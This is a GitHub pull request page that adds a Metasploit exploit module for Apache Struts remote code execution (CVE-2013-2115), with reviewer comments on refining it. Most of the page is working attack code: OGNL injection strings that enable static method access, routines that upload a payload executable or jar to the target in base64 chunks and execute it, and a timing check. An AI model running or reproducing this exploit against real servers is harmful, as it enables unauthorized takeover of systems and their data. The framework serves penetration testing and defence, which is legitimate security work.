Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Struts <= 2.3.14.1 remote code execution #1870

Merged
merged 13 commits into from
May 31, 2013
180 changes: 180 additions & 0 deletions modules/exploits/multi/http/struts_cve-2013-2115.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,180 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
},
'Author' =>
[
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
'Coverity security Research Laboratory', # Vulnerability Discovery
'NSFOCUS Security Team', # Vulnerability Discovery
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'May 24 2013',
'DefaultTarget' => 2))

register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',rand_text_alpha_lower(4)]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the parameter can be always randomized I feel like this option can be deleted. And just randomize. It's always a good idea to unload the user from configuration options.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

btw, after looking into the vulnerability I agree it's a good idea to put this option here so the user can provide the parameter name if necessary.

OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action"]),
OptString.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If only GET or POST are allowed use an OptEnum, looks like a better idea.

OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end

def execute_command(cmd, opts = {})
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
inject.gsub!(/CMD/,cmd)
uri = normalize_uri(target_uri.path)
print_status("Sending payload...")

case datastore['HTTPMETHOD']
when 'POST'
resp = send_request_cgi({
'uri' => uri,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can the command be placed in vars_get rather than URI?

'vars_post' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'POST'
})
when 'GET'
resp = send_request_cgi({
'uri' => uri,
'vars_get' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'GET'
})
else
fail_with(Exploit::Failure::Unknown, "Invalid HTTP method, use GET or POST")
end
return resp #Used for check function.
end

def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This could be migrated to use the new bourne stager module for neatness perhaps: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/bourne.rb

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not particularly suited to this. I had a go and could probably wedge it in, but the JAVA based encode/decode + upload/copytofile method works in all 3 target instances using minimal/no code duplication for this module and is reliable.

exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end

print_status("Preparing payload...")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

normalize_uri(target_uri.path).length so its consistent if / gets stripped/added?

Also is 109 the correct length of the command string in this module?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

java_upload_part is unchanged so the value 109 remains the same. Have now used normalize_uri, was throwing off the java exploit side of things. Check was working, Exploit wasn't.

chunk_length = 2048 - sub_from_chunk
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can the chunk_length be greater if a POST request is used?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yep. Will get on these first thing tomorrow.

Juan, Java was working last I checked but I did change to Linux payload to
test the bourne stager. I bet I've just deleted something I needed by
accident during the testing.
On 29 May 2013 23:49, "Meatballs1" notifications@github.com wrote:

In modules/exploits/multi/http/struts_cve-2013-2115.rb:

  •       exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
    
  •       exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
    
  •       exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
    
  •       exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
    
  •   when 'windows'
    
  •       @payload_exe = "./#{@payload_exe}.exe"
    
  •       exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
    
  •   else
    
  •       fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
    
  •   end
    
  •   print_status("Preparing payload...")
    
  •   #Now with all the arch specific stuff set, perform the upload.
    
  •   #109 = length of command string plus the max length of append.
    
  •   sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length
    
  •   chunk_length = 2048 - sub_from_chunk
    

Can the chunk_length be greater if a POST request is used?


Reply to this email directly or view it on GitHubhttps://github.com//pull/1870/files#r4447408
.

chunk_length = ((chunk_length/4).floor)*3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end

def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end

def check
print_status("Performing Check...")
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1


if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end

end